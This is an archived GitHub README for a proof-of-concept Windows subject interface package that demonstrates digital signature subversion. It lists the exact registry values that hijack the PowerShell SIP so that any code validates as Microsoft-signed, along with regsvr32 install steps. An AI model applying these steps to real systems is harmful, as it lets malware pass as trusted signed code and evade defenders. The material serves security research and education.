GitHub - mattifestation/PoCSubjectInterfacePackage: A proof-of-concept subject interface package (SIP) used to demonstrate digital signature subversion attacks.

By Matt Graeber

Archived: 2026-04-05 20:24:34 UTC

A PoC subject interface package (SIP) provider designed to educate about the required components of a SIP provider.

This PoC is designed to serve as a basic SIP in addition to a payload for hijacking existing SIPs using the AutoApproveHash and GetLegitMSSignature functions. For example, if you wanted all PowerShell code to return a valid MS cert regardless of whether they were signed by MS, you would redirect the following:

Direct PowerShell SIP hijack (Native):

- `HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\Dll (REG_SZ) - C:\path\to\MySip.dll`
- `HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\FuncName (REG_SZ) - AutoApproveHash`
- `HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\Dll (REG_SZ) - C:\path\to\MySip.dll`
- `HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\FuncName (REG_SZ) - GetLegitMSSignature`

PowerShell SIP hijack (WoW64):

- `HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\Dll (REG_SZ) - C:\path\to\MySip_x86.dll`
- `HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\FuncName (REG_SZ) - AutoApproveHash`
- `HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\Dll (REG_SZ) - C:\path\to\MySip_x86.dll`
- `HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}\FuncName (REG_SZ) - GetLegitMSSignature`

A normal installation of this SIP is performed as follows (from an elevated prompt):

```
regsvr32 C:\path\to\MySip.dll
```

Upon installing this SIP via regsvr32, any file you create with the .foo, .bar, or .baz file extension will validate properly with the embedded certificate.

A normal uninstallation of this SIP is performed as follows (from an elevated prompt):

```
regsvr32 /u C:\path\to\MySip.dll
```

Note: The included resource (MS_cert.bin) can be replaced with any Authenticode certificate (which includes any signed .cat file) thus allowing you to be whomever you want.
